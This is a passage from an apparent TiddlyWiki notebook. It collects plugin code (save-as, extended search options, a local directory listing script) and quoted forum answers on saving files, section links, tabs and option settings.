				picker.init(window, msg, nsIFilePicker.modeSave);
				var thispath = Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);
				thispath.initWithPath(path);
				picker.displayDirectory=thispath;
				picker.defaultExtension='html';
				picker.defaultString=file;
				picker.appendFilters(nsIFilePicker.filterAll|nsIFilePicker.filterText|nsIFilePicker.filterHTML);
				if (picker.show()!=nsIFilePicker.returnCancel) var result=picker.file.persistentDescriptor;
			}
			catch(e) { alert('error during local file access: '+e.toString()) }
		}
		else { // IE
			try { // XP/Vista only
				var s = new ActiveXObject('UserAccounts.CommonDialog');
				s.Filter='All files|*.*|Text files|*.txt|HTML files|*.htm;*.html|';
				s.FilterIndex=3; // default to HTML files;
				s.InitialDir=path;
				s.FileName=file;
				if (s.showOpen()) var result=s.FileName;
			}
			catch(e) { var result=prompt(msg,path+file); } // fallback for non-XP IE
		}
		return result;
	}
};
//}}}
//{{{
// automatically add saveAs to backstage
config.tasks.saveAs = {
	text: "saveAs",
	tooltip: config.macros.saveAs.prompt,
	action: function(){ clearMessage(); config.macros.saveAs.go(); }
}
config.backstageTasks.splice(config.backstageTasks.indexOf("save")+1,0,"saveAs");
//}}}
I've fixed this error and you can get the updated the plugin (v2.4.2)
here:
   http://www.TiddlyTools.com/#SaveAsPlugin

thanks for finding this... 

Source: [[SaveAsPlugin from backstage doesn't save plugins - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/427878188e324b11]]
> Can anyone tell me how I can create a link or macro that lets me save
> the current tiddly Wiki to a file.

> I Want to Save all, then click to save the whole wiki to my C: drive
> (as opposed to my USB Thumb Drive) as a backup.

http://www.TiddlyTools.com/#SaveAsPlugin
http://www.TiddlyTools.com/#SaveAsPluginInfo

enjoy,
-e 

Source: [[Saving as a backup task - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/6b3ef224038c0549]]
Great news. I've run some more tests, and the latest Chromium
nightlies do indeed allow TiddlyWiki to save changes via the
TiddlySaver java applet. You can download the latest nightly from
Google:

http://build.chromium.org/buildbot/snapshots/chromium-rel-xp/

You'll also need the latest Java beta from Sun:

http://java.sun.com/javase/downloads/ea/6u10/6u10RC.jsp

The user experience is pretty much the same as Safari - put the
TiddlySaver.java file in the same directory as your TiddlyWiki .html
file, and say "yes" to the dialogue that pops up asking you if you
trust the applet from UnaMesa, the publisher of TiddlyWiki.

The Chromium engineers are to be congratulated for being so responsive
and fixing the bug so quickly. 

Source: [[Saving in chrome - TiddlyWikiDev : Google Groups|http://groups.google.com/group/TiddlyWikiDev/browse_thread/thread/f2c68babf9795fa]]
> With Eric's StorySaverPlugin you can save all open tiddlers - but
> sometimes it is usefull to save the Breadcrumbs as well - any idea how
> to do that?

Good idea!

Get it here:
   htp://www.TiddlyTools.com/#SaveBreadcrumbs
   (requires InlineJavascriptPlugin and BreadcrumbsPlugin, of course)

enjoy,
-e
Eric Shulman
TiddlyTools / ELS Design Studios

Source: [[Saving the history of a TW session - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/46a562a946eb55b2]]
!!!!!<<gradient horiz #fcb #fff>>&nbsp;[[Script]]>>
 @@color:#C06;''&raquo; &raquo;'' @@ These are tabs containing ~JavaScript
----
<script>
// get all tiddlers tagged with "script"
var tids=store.getTaggedTiddlers("script");
// keep only tiddlers *also* tagged with ?
var list=[];
for (var t=0; t<tids.length; t++)
   if (tids[t].isTagged("script")) list.push(tids[t]);
// create output list of tiddler titles, one per line
var out="";
for (var t=0; t<list.length; t++) out+="#[["+list[t].title+"]]\n";
return out;
</script> 
This defines a *hidden* span that triggers the inline script whenever
the PageTemplate is rendered.  In addition, by specifying
force='true', the span is also refreshed each time *any* tiddler is
changed.  This ensures that if the SiteTitle tiddler is changed, the
inline script will be automatically re-invoked and the value of
txtUploadFilename will be updated accordingly.

Source: [[Script in configoptions - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/5f0bac7aa3b4fba8/bfd566510291ffd7?lnk=gst&q=%3Cscript%3E#bfd566510291ffd7]]
2) Next, create a tiddler called [[SetUploadFilename]], containing the
following inline script:

{{{   <script>
      config.options.txtUploadFilename=wikifyPlain("SiteTitle")
+".html";
   </script>
}}}
Note: the script does not produce any display output, so when you
press 'done', and the tiddler is rendered, it will look like it is
empty.  Even so, the inline script *is* invoked, and the assignment
to ...txtUploadFilename is performed as intended.

3) Automatically invoke the [[SetUploadFilename]] script by adding the
following line to the end of your PageTemplate:
{{{
<span style='display:none;' refresh='content' force='true'
tiddler='SetUploadFilename'></span>
}}}
This defines a *hidden* span that triggers the inline script whenever
the PageTemplate is rendered.  In addition, by specifying
force='true', the span is also refreshed each time *any* tiddler is
changed.  This ensures that if the SiteTitle tiddler is changed, the
inline script will be automatically re-invoked and the value of
txtUploadFilename will be updated accordingly. 

Source: [[Script in configoptions - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/5f0bac7aa3b4fba8]]
Is there a script that exists that detects if TiddlyWiki is online and
will allow another script (script2) to access the Internet.  And when
there is no connection script 2 is prevented from even trying.  FND?

Tnabks in advance,\Morris

Source: [[Script needed - SidebarNews : Google Groups|http://groups.google.com/group/sidebarnews/browse_thread/thread/368a9e192ca12d67]]
!!!!!<<gradient horiz #fcb #fff>>&nbsp;Search Options>>
{{tablecenter table{
|bgcolor:#abf;@@color:#000;'' /enter search/ ''@@|
|bgcolor(#abf):<<search>>|
|<<option chkSearchTitles>> Titles <<option chkSearchText>> Text <<option chkSearchTags>>Tags|
|<<option chkHoldSearches>> Hold <<option chkCaseSensitiveSearch>> ~CaseSensitive|
}}}
{{tablecenter table{
|<<option chkSearchTitles>> Titles <<option chkSearchText>> Text <<option chkSearchTags>>Tags<<option chkHoldSearches>> Hold |
|>|@@color:#04b;font-weight:bold;goto ''&raquo; &raquo;'' @@<<gotoTiddler>>|
/***
|Name|SearchOptionsPlugin|
|Source|http://www.TiddlyTools.com/#SearchOptionsPlugin|
|Documentation|http://www.TiddlyTools.com/#SearchOptionsPluginInfo|
|Version|2.7.1|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides|Story.prototype.search, TiddlyWiki.prototype.search, config.macros.search.onKeyPress|
|Options|##Configuration|
|Description|extend core search function with additional user-configurable options|
Extend core search function with additional user-configurable options including selecting which data items to search, enabling/disabling incremental key-by-key searches, and generating a ''list of matching tiddler'' instead of immediately displaying all matches.  This plugin also adds syntax for rendering 'search links' within tiddler content to embed one-click searches using pre-defined 'hard-coded' search terms.
!!!!!Documentation
>see [[SearchOptionsPluginInfo]]
!!!!!Configuration
<<<
Search in:
<<option chkSearchTitles>> titles <<option chkSearchText>> text <<option chkSearchTags>> tags <<option chkSearchFields>> fields <<option chkSearchShadows>> shadows
<<option chkSearchList>> Show list of matches in [[SearchResults]]
<<option chkSearchIncremental>> Incremental (key-by-key) searching
<<option chkSearchTitlesFirst>> Show title matches first
<<option chkSearchByDate>> Sort matching tiddlers by date
<<<
!!!!!Revisions
<<<
2008.05.03 [2.7.1] in searchLink formatter handler(), use separate setAttribute() call instead of passing attribs to createTiddlyButton().  Avoids conflict with errant code in TiddlerNotesPlugin (v2.1 26/10/07)
|please see [[SearchOptionsPluginInfo]] for additional revision details|
2005.10.18 [1.0.0] Initial Release
<<<
!!!!!Code
***/
//{{{
version.extensions.searchOptions = {major: 2, minor: 7, revision: 1, date: new Date(2008,5,3)};

if (config.options.chkSearchTitles===undefined) config.options.chkSearchTitles=true;
if (config.options.chkSearchText===undefined) config.options.chkSearchText=true;
if (config.options.chkSearchTags===undefined) config.options.chkSearchTags=true;
if (config.options.chkSearchFields===undefined) config.options.chkSearchFields=true;
if (config.options.chkSearchTitlesFirst===undefined) config.options.chkSearchTitlesFirst=false;
if (config.options.chkSearchList===undefined) config.options.chkSearchList=false;
if (config.options.chkSearchByDate===undefined) config.options.chkSearchByDate=false;
if (config.options.chkSearchIncremental===undefined) config.options.chkSearchIncremental=true;
if (config.options.chkSearchShadows===undefined) config.options.chkSearchShadows=false;
if (config.macros.search.reportTitle==undefined)
	config.macros.search.reportTitle="SearchResults"; // note: not a cookie!
//}}}

//{{{
// searchLink formatter:
// syntax: [search[text to find]] OR [search[text to display|text to find]]
config.formatters.push( {
	name: "searchLink",
	match: "\\[search\\[",
	lookaheadRegExp: /\[search\[(.*?)(?:\|(.*?))?\]\]/mg,
	prompt: "search for: '%0'",
	handler: function(w)
	{
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			var label=lookaheadMatch[1];
			var text=lookaheadMatch[2]||label;
			var prompt=this.prompt.format([text]);
			var btn=createTiddlyButton(w.output,label,prompt,
				function(){story.search(this.getAttribute("searchText"))},"searchLink");
			btn.setAttribute("searchText",text);
			w.nextMatch = this.lookaheadRegExp.lastIndex;
		}
	}
});
//}}}

//{{{
config.macros.search.searchOptions_onKeyPress = config.macros.search.onKeyPress;
config.macros.search.onKeyPress = function(e)
{
	if(!e) var e = window.event;
	if (config.options.chkSearchIncremental || e.keyCode==13 || e.keyCode==10 || e.keyCode==27)
		config.macros.search.searchOptions_onKeyPress.apply(this,arguments);
}
//}}}

//{{{
Story.prototype.search = function(text,useCaseSensitive,useRegExp)
{
	highlightHack = new RegExp(useRegExp ? text : text.escapeRegExp(),useCaseSensitive ? "mg" : "img");
	var matches = store.search(highlightHack,config.options.chkSearchByDate?"modified":"title","excludeSearch");
	if (config.options.chkSearchByDate) matches=matches.reverse(); // most recent changes first
	var q = useRegExp ? "/" : "'";
	clearMessage();
	if (!matches.length) {
		if (config.options.chkSearchList) discardSearchResults();
		displayMessage(config.macros.search.failureMsg.format([q+text+q]));
	} else {
		if (config.options.chkSearchList) 
			reportSearchResults(text,matches);
		else {
			var titles = []; for(var t=0; t<matches.length; t++) titles.push(matches[t].title);
			this.closeAllTiddlers(); story.displayTiddlers(null,titles);
			displayMessage(config.macros.search.successMsg.format([matches.length, q+text+q]));
		}
	}
	highlightHack = null;
}
//}}}

//{{{
TiddlyWiki.prototype.search = function(searchRegExp,sortField,excludeTag)
{
	var candidates = this.reverseLookup("tags",excludeTag,false,sortField);

	// scan for matching titles first...
	var results = [];
	if (config.options.chkSearchTitles) {
		for(var t=0; t<candidates.length; t++)
			if(candidates[t].title.search(searchRegExp)!=-1)
				results.push(candidates[t]);
		if (config.options.chkSearchShadows)
			for (var t in config.shadowTiddlers)
				if ((t.search(searchRegExp)!=-1) && !store.tiddlerExists(t))
					results.push((new Tiddler()).assign(t,config.shadowTiddlers[t]));
	}
	// then scan for matching text, tags, or field data
	for(var t=0; t<candidates.length; t++) {
		if (config.options.chkSearchText && candidates[t].text.search(searchRegExp)!=-1)
			results.pushUnique(candidates[t]);
		if (config.options.chkSearchTags && candidates[t].tags.join(" ").search(searchRegExp)!=-1)
			results.pushUnique(candidates[t]);
		if (config.options.chkSearchFields && store.forEachField!=undefined) // requires TW2.1 or above
			store.forEachField(candidates[t],
				function(tid,field,val) {
					if (val.search(searchRegExp)!=-1) results.pushUnique(candidates[t]);
				},
				true); // extended fields only
	}
	// then check for matching text in shadows
	if (config.options.chkSearchShadows)
		for (var t in config.shadowTiddlers)
			if ((config.shadowTiddlers[t].search(searchRegExp)!=-1) && !store.tiddlerExists(t))
				results.pushUnique((new Tiddler()).assign(t,config.shadowTiddlers[t]));

	// if not 'titles first', or sorting by modification date,  re-sort results to so titles, text, tag and field matches are mixed together
	if(!sortField) sortField = "title";
	var bySortField=function (a,b) {if(a[sortField] == b[sortField]) return(0); else return (a[sortField] < b[sortField]) ? -1 : +1; }
	if (!config.options.chkSearchTitlesFirst || config.options.chkSearchByDate) results.sort(bySortField);

	return results;
}
//}}}

//{{{
// SearchResuls REPORT GENERATOR
if (!window.reportSearchResults) window.reportSearchResults=function(text,matches)
{
	var title=config.macros.search.reportTitle
	var q = config.options.chkRegExpSearch ? "/" : "'";
	var body="\n";

	// summary: nn tiddlers found matching '...', options used
	body+="''"+config.macros.search.successMsg.format([matches.length,q+"{{{"+text+"}}}"+q])+"''\n";
	body+="^^//searched in:// ";
	body+=(config.options.chkSearchTitles?"''titles'' ":"");
	body+=(config.options.chkSearchText?"''text'' ":"");
	body+=(config.options.chkSearchTags?"''tags'' ":"");
	body+=(config.options.chkSearchFields?"''fields'' ":"");
	body+=(config.options.chkSearchShadows?"''shadows'' ":"");
	if (config.options.chkCaseSensitiveSearch||config.options.chkRegExpSearch) {
		body+=" //with options:// ";
		body+=(config.options.chkCaseSensitiveSearch?"''case sensitive'' ":"");
		body+=(config.options.chkRegExpSearch?"''text patterns'' ":"");
	}
	body+="^^";

	// numbered list of links to matching tiddlers
	body+="\n<<<";
	for(var t=0;t<matches.length;t++) {
		var date=config.options.chkSearchByDate?(matches[t].modified.formatString('YYYY.0MM.0DD 0hh:0mm')+" "):"";
		body+="\n# "+date+"[["+matches[t].title+"]]";
	}
	body+="\n<<<\n";

	// open all matches button
	body+="<html><input type=\"button\" href=\"javascript:;\" ";
	body+="onclick=\"story.displayTiddlers(null,["
	for(var t=0;t<matches.length;t++)
		body+="'"+matches[t].title.replace(/\'/mg,"\\'")+"'"+((t<matches.length-1)?", ":"");
	body+="],1);\" ";
	body+="accesskey=\"O\" ";
	body+="value=\"open all matching tiddlers\"></html> ";

	// discard search results button
	body+="<html><input type=\"button\" href=\"javascript:;\" ";
	body+="onclick=\"discardSearchResults()\" value=\"discard "+title+"\"></html>";

	// search again
	body+="\n\n----\n";
	body+="<<search \""+text+"\">>\n";
	body+="<<option chkSearchTitles>>titles ";
	body+="<<option chkSearchText>>text ";
	body+="<<option chkSearchTags>>tags";
	body+="<<option chkSearchFields>>fields";
	body+="<<option chkSearchShadows>>shadows";
	body+="<<option chkCaseSensitiveSearch>>case-sensitive ";
	body+="<<option chkRegExpSearch>>text patterns";
	body+="<<option chkSearchByDate>>sort by date";

	// create/update the tiddler
	var tiddler=store.getTiddler(title); if (!tiddler) tiddler=new Tiddler();
	tiddler.set(title,body,config.options.txtUserName,(new Date()),"excludeLists excludeSearch temporary");
	store.addTiddler(tiddler); story.closeTiddler(title);

	// use alternate "search again" label in <<search>> macro
	var oldprompt=config.macros.search.label;
	config.macros.search.label="search again";

	// render/refresh tiddler
	story.displayTiddler(null,title,1);
	store.notify(title,true);

	// restore standard search label
	config.macros.search.label=oldprompt;

}

if (!window.discardSearchResults) window.discardSearchResults=function()
{
	// remove the tiddler
	story.closeTiddler(config.macros.search.reportTitle);
	store.deleteTiddler(config.macros.search.reportTitle);
	store.notify(config.macros.search.reportTitle,true);
}
//}}}
The first problem concerns use of the following CSS in your
StyleSheet   h1 { display:none; }

I recall that I had suggested this particular trick a little while ago
as a way to hide the headings so that only the content in the tiddler
is visible, while still being able to use the headings to define the
'tiddler sections'.

Unfortunately, although this technique works when using the sections
to transclude content into other tiddlers (e.g., <<tiddler
TiddlerName::sectionName>>), SectionLinksPlugin can only scroll to a
section heading if it is actually *displayed* in the document... and
using "display:none" prevents that from working properly because a
hidden heading element apparently has a default rendered location on
the page of (0,0).

Fortunately, there is another way to use CSS that will render the
heading elements at their proper 'inline' locations while also
preventing them from having a *visible* effect on the section content
that follows them:
  h1 { display:inline; visibility:hidden; border:0; padding:0; margin:
0; font-size:0; line-height:0; }

The second problem that is interfering with your use section links
relates to how you have formatted the 'target' tiddler: because it is
very long, you have used a custom CSS wrapper, {{sc{...}}}, to enclose
the tiddler's content within a fixed-height, scrolling DIV, where
".sc" is defined in the [[StyleSheet]] as:
   .sc { height:225px; ... overflow:auto; ... }

However, SectionLinksPlugin works by scrolling the whole *page* using
the standard window.scrollTo() function, and does not have the ability
to identify and scroll to a position within specific custom-defined
scrollable DIV that has been rendered within some tiddler.

If you want SectionLinksPlugin to work with this particular content
then, in addition to using the alternative "h1" definition I've
described above, you'll also have to remove the {{sc{...}}} wrapper
from the target tiddler (or just set the CSS for .sc to
{ height:auto; }), 

Source: [[CoreTweaks for TW 2.4.3 and section jumps - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/cc89119cd705b3b5#]]
The tab content is divided into *named* sections using the heading
("!") syntax, which are surrounded by comment markers so they won't be
directly displayed when the tiddler is viewed.  Instead, these
'hidden' sections will be shown within the """<<tabs>>""" macro by using the
"TiddlerName##sectionname" syntax.

To create a new contact, just use """<<newTiddler>>""" with the
[[TemplateContact]] content as the default text.  Because you don't
need to create a set of tiddlers, there's also no need to separately
prompt for a name for that contact.  Just create a new contact tiddler
and give it a name in the usual way... then edit the content to fill
in the sections.

Note: because the entire contact data set is stored in a self-
contained tiddler, there's no need to have a separate 'edit' command
in each tab... simply edit the entire tiddler, find the section you
want, and start editing.

Also, there is one minor limitation with this 'section' approach: you
can't use the heading syntax (!) to format the content *within* a
section, since the heading syntax is being used to delimit the
sections themselves. 


/%
!!!Main
First name:
Last name:
Birthday:
!!!Work
...work stuff...
!!!Personal
...personal stuff...
!!!Misc
...other stuff...
!!!end
%/<<tabs txtFavourite
   Main "Main" {{tiddler.title+"##Main"}}
   Work "Work" {{tiddler.title+"##Work"}}
   Personal "Personal" {{tiddler.title+"##Personal"}}
   Misc "Misc" {{tiddler.title+"##Misc"}}>> 



{{{
/%
!!!Main
First name:
Last name:
Birthday:
!!!Work
...work stuff...
!!!Personal
...personal stuff...
!!!Misc
...other stuff...
!!!end
%/<<tabs txtFavourite
   Main "Main" {{tiddler.title+"##Main"}}
   Work "Work" {{tiddler.title+"##Work"}}
   Personal "Personal" {{tiddler.title+"##Personal"}}
   Misc "Misc" {{tiddler.title+"##Misc"}}>> 
}}}


Source: [["Fun" with title copy/edit - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/a66c75826eeca704/8f739a2bf8568eb0?lnk=gst&q=TiddlerName%23%23SectionName#8f739a2bf8568eb0]]
Security.fileuri.strict origin policy

Source: [[Security.fileuri.strict origin policy - MozillaZine Knowledge Base|http://kb.mozillazine.org/Security.fileuri.strict_origin_policy]]
[[SecurityRisk.Downldr - Symantec.com|http://securityresponse.symantec.com/security_response/writeup.jsp?docid=2004-010317-1513-99&tabid=3]]
Rather than using <<forEachTiddler>>, the <<select>> macro provides a
built-in syntax for listing tiddlers based on a given tag...
   <<select fieldname rows:1 =projects>>
where the "=projects" syntax generates a list containing the titles of
all tiddlers that are tagged with "projects".

Also, if you use "=cookiename" in place of the fieldname, the selected
value will be stored as a global TW option cookie rather than using a
custom tiddler field in the current tiddler.

Thus:
   <<select =CurrentProject rows:1 =projects>>
creates a droplist of all tiddlers that are tagged with projects and,
when a selection is made, it stores the selected tiddler title in an
internal config variable called:
   config.options.txtCurrentProject
which is also automatically saved as a browser-based option cookie
called:
   txtCurrentProject

Note: the "=cookiename" syntax was just added to the plugin today, so
you might want to get the update to the most recent release (v1.1.0):
   http://www.TiddlyTools.com/#ListboxPlugin
   http://www.TiddlyTools.com/#ListboxPluginInfo 

Source: [[Selecting txt option values from a list - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/848acf03b388cf55]]
OK... I've just added new options to FramedLinksPlugin so you can
simply tag a tiddler with "framedLinks" and it will trigger the use of
frames for links contained in that tiddler, even if the global
chkFramedLinks option is not currently enabled.  Note: the tag value
trigger only works when a tiddler is rendered in the story column...
thus, you can't use the "framedLinks" tag in MainMenu, SiteTitle,
SiteSubtitle, SidebarOptions or SidebarTabs... i.e., tiddler content
that is rendered into parts of the TW page layout that are outside the
story column.

Get the update (v1.1.0) here:
   http://www.TiddlyTools.com/#FramedLinksPlugin 

Source: [[Selectivley open external links in a frame - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/c538d452af90a392]]
> {{{<<option chkShowDecryptButtonInContent>>}}}
> provides an option of presenting an [Encrypted] button in the tiddler
> instead of the encrypted code.
> how do I set the above option permanently?

Add the following to a tiddler tagged with systemConfig:
{{{
config.options.chkShowDecryptButtonInContent=true;
}}}
Source: [[Set an optionbox so it is saved permanently - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/5dd9fa81af38201]]
!!!!!<<gradient horiz #fc3 #fff>>&nbsp;[[Setting up Categories within SideSnip |SettingUpSideSnips]]>>

To prepare a new "~NewCategory" in ''~SideSnips'' you need to:

''1:'' If you are adding a single category first add it to ~TiddlySnips: Under Tools on the Firefox menu, add the new 'category' and 'tag' to ''~TiddlySnip Preferences''  @@color:#C06;''&raquo;'' @@ ''Categories  '' (see [[Setup TiddlySnips|Setup]] )

''2:'' Create a "~YourNewCategoryList" tiddler with this code in it using the name of the tag you have chosen in ( ''1:'' )above.
{{{
!NewCategoryList
}}}
{{{
{{liststyleimagenone underlineLink {
<<tiddlerList tags:NEWCATEGORYTAG order:-created top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
}}}
''  2a:'' When done tag it with {{{tscategory}}}

''3:'' Manually add the title "~YourNewCategoryList" to the master TS-CategoriesList tiddler.

''4:'' Manually add a slider containing "~YourNewCategoryList to SnipsTree
{{{
[img[http://img341.imageshack.us/img341/5696/folderry6.gif]]+++[YourNewCategory]
<<tiddler YourNewCategoryList>>
===
}}}
*''[[Warning when snipping from Google Groups!|WarningGoogleGroups]]''
<<tiddler TiddlySnipPreferences>>
----
<<tiddler SettingUpSideSnip>>
HOWTO: SharedObjects for Local Storage AS3
January 10, 2008 — drawk

Using SharedObjects in Flash is very simple. Flash has SharedObjects that have been in the player since Flash6 when the introduction of Flash Communication Server which is now Flash Media Server which is releasing version 3 soon (also remote SharedObjects in Red5 is an open source RTMP media server that is based on Flash Media Server). So we can thank this release for SharedObjects, Camera objects, Audio, lots of the NetConnections, protocol enhancements and many other things. However to keep the tips simple we will just touch on the local usage and post a series of posts on these objects.

Source: [[HOWTO: SharedObjects for Local Storage AS3 « [ draw.logic ]|http://drawlogic.com/2008/01/10/howto-sharedobjects-for-local-storage-as3/]]
{{{
<script type="text/javascript">
window.onload=function()
{document.getElementById('toggle').onclick=function()
	{document.getElementById('show').style.display=(document.getElementById('show').style.display!='none')?'none':'';}}
</script>
<span id="toggle">Show/Hide</span>
<br><div id="show">Contents Here</div>
}}}
{{textleft{
/%
|Name|ShowLocalDirectory|
|Source|http://www.TiddlyTools.com/#ShowLocalDirectory|
|Version|1.1.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|script|
|Requires|InlineJavascriptPlugin|
|Overrides||
|Description|view local filesystem directory listings|

usage: <<tiddler ShowLocalDirectory>> or <<tiddler ShowLocalDirectory with: localpath format>>

where:
	"localpath" is the desired directory to view, using system-specific file naming conventions,
	or keyword "here" to view the current document directory.
and
	"format" is a keyword that determines the type of output produced, and is one of:
		"plain"
			show fully-qualified path/filenames AS-IS, without any additional formatting.
		"list"
			show fully-qualified path/filenames using formatted "PrettyLinks", so that the
			local system-specific filename can be *displayed* while linking to a valid
			system-independent "file:" URL for browser navigation.
		"directory" (default when no parameter)
			show header followed by a formatted table, containing PrettyLinks for
			filenames, filesizes (in bytes), and modification dates, plus a summary
			footer reporting the total file and byte counts.

%/<script>

	// FILESYSTEM/FOLDER UTILITY FUNCTIONS

	window.getCurrentFolder=function() {
		var h=document.location.href;
		return getLocalPath(decodeURIComponent(h.substr(0,h.lastIndexOf("/")+1)));
	}

	window.getParentFolder=function(cwd) {
		var lastchar=cwd.substr(cwd.length-1,1);
		if (lastchar=="/" || lastchar=="\\") cwd=cwd.substr(0,cwd.length-1);
		var pos=cwd.lastIndexOf("/"); if (pos==-1) pos=cwd.lastIndexOf("\\");
		return pos!=-1?cwd.substr(0,pos+1):null;
	}

	window.askForFolder=function(cwd) {
		if (config.browser.isIE) {
			try { // XPSP2 IE only --   // TBD: use "browserForFolder" instead of "select a file"
				var s = new ActiveXObject('UserAccounts.CommonDialog');
				s.InitialDir=cwd.replace(/\//g,"\\");
				s.FileName=''; s.Filter='All files|*.*|'; s.FilterIndex=1;
				var path=s.showOpen()?s.FileName.substr(0,s.FileName.lastIndexOf("\\")+1):null;
			}
			catch(e) { var path=prompt("Enter a directory path:",cwd.replace(/\//g,"\\"));	}
		} else { // FireFox
			// get security access
			if(!window.Components) return;
			try { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); }
			catch(e) { alert(e.description?e.description:e.toString()); return; }
			// prompt to select a different folder
			var nsIFilePicker = window.Components.interfaces.nsIFilePicker;
			var picker = Components.classes['@mozilla.org/filepicker;1'].createInstance(nsIFilePicker);
			picker.init(window, "Select a folder", nsIFilePicker.modeGetFolder);
			var thispath = Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);
			// if starting directory is not valid, use current document directory
			try { thispath.initWithPath(cwd.replace(/\\/g,"/")); }
			catch(e) { thispath.initWithPath(getLocalPath(decodeURIComponent(document.location.href.substr(0,document.location.href.lastIndexOf("/")+1)))); }
			picker.displayDirectory=thispath;
			picker.appendFilters(nsIFilePicker.filterAll); picker.defaultString=''; picker.defaultExtension=''; 
			var path=picker.show()!=nsIFilePicker.returnCancel?picker.file.persistentDescriptor:null;
		}
	}

	window.getFileList=function(cwd) { // return browser-independent array of file info (path,name,size,isFolder,url,modified)
		var files=[];
		if (config.browser.isIE) {
			cwd=cwd.replace(/\//g,"\\");
			// IE uses ActiveX to read filesystem info
			var fso = new ActiveXObject("Scripting.FileSystemObject");
			if(!fso.FolderExists(cwd)) return [];
			var dir=fso.GetFolder(cwd);
			for(var f=new Enumerator(dir.SubFolders); !f.atEnd(); f.moveNext())
				files.push({ path:f.item().path, name:f.item().name, size:f.item().size,
					url:"file:///"+f.item().path.replace(/\\/g,"/"), isFolder:fso.FolderExists(f.item().path),
					modified:new Date(f.item().DateLastModified).formatString("YYYY.0MM.0DD 0hh:0mm:0ss")});
			for(var f=new Enumerator(dir.Files); !f.atEnd(); f.moveNext())
				files.push({ path:f.item().path, name:f.item().name, size:f.item().size,
					url:"file:///"+f.item().path.replace(/\\/g,"/"), isFolder:fso.FolderExists(f.item().path),
					modified:new Date(f.item().DateLastModified).formatString("YYYY.0MM.0DD 0hh:0mm:0ss")});
		} else {
			// FireFox (mozilla) uses "components" to read filesystem info
			// get security access
			if(!window.Components) return;
			try { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); }
			catch(e) { alert(e.description?e.description:e.toString()); return null; }
			// open/validate directory
			var file=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
			try { file.initWithPath(cwd); } catch(e) { return []; }
			if (!file.exists() || !file.isDirectory()) { return []; }
			var folder=file.directoryEntries;
			while (folder.hasMoreElements()) {
				var f=folder.getNext().QueryInterface(Components.interfaces.nsILocalFile);
				if (f instanceof Components.interfaces.nsILocalFile)
					files.push({path:f.path, name:f.leafName, size:f.fileSize,
						isFolder:f.isDirectory(), url:"file:///"+f.path.replace(/\\/g,"/"),
						modified:new Date(f.lastModifiedTime).formatString("YYYY.0MM.0DD 0hh:0mm:0ss")});
			}
		}
		return files;
	}

</script>{{hidden small{
<script label="select a folder...">
	var path=askForFolder(config.options.txtLocalDirectory);
	if (path) { // not cancelled by user...
		config.options.txtLocalDirectory=path;
		story.refreshTiddler(story.findContainingTiddler(place).getAttribute("tiddler"),null,true);
	}
	return false;
</script> | <script label="use document location...">
	config.options.txtLocalDirectory=getCurrentFolder();
	story.refreshTiddler(story.findContainingTiddler(place).getAttribute("tiddler"),null,true);
	return false;
</script> | <script label="refresh list...">
	story.refreshTiddler(story.findContainingTiddler(place).getAttribute("tiddler"),null,true);
	return false;
</script>
----
}}}<script>
	// default to current location if not already set
	if (config.options.txtLocalDirectory==undefined) config.options.txtLocalDirectory=getCurrentFolder();
	// get working directory from tiddler params (if specified)
	var cwd=config.options.txtLocalDirectory; // use current selected directory
	if ("$1"=="$"+"1") place.lastChild.style.display="block"; // show interactive 'select a folder' commands
	else if ("$1".toLowerCase()=="here") cwd=getCurrentFolder(); // "here" = use document directory
	else cwd="$1"; // use path param as specified
	// get file list
	var files=getFileList(cwd);
	if (!files.length) { // directory could not be read, maybe relative... try again...
		var fixup=getCurrentFolder()+cwd;
		var files=getFileList(fixup);
		if (!files.length) return "{{errorButton{error: can't open "+cwd+"}}}";
		else cwd=fixup;
	}
	// set output formats
	var header=""; var item=""; var folderitem=""; var folderscript=""; var footer="";
	switch ("$2") {
		case "plain": item=folderitem="<nowiki>%0</nowiki>\n"; break;
		case "list": item=folderitem="[[%1|file:///%0]]\n"; break;
		default:
			var header="Index of %0\n^^(as of %1)^^\n|filename&nbsp;&nbsp;| size&nbsp;&nbsp;|modified|h\n";
			var item="|[[%1|%2]]&nbsp;&nbsp;| %3&nbsp;&nbsp;|%4|\n";
			// script for opening another directory via embedded link
			var folderscript='<'+'script label="%1" title="open %1...">';
			folderscript+='		config.options.txtLocalDirectory="%0";';
			folderscript+='		story.refreshTiddler(story.findContainingTiddler(place).getAttribute("tiddler"),null,true);';
			folderscript+='		return false;';
			folderscript+='	</'+'script>';
			var folderitem='|'+folderscript+'&nbsp;&nbsp;| |%4|\n';
			var footer="|>|>|>| !Total of %0 bytes in %1 files |f\n|borderless sortable|k\n";
			var showDirectory=true;
			break;
	}
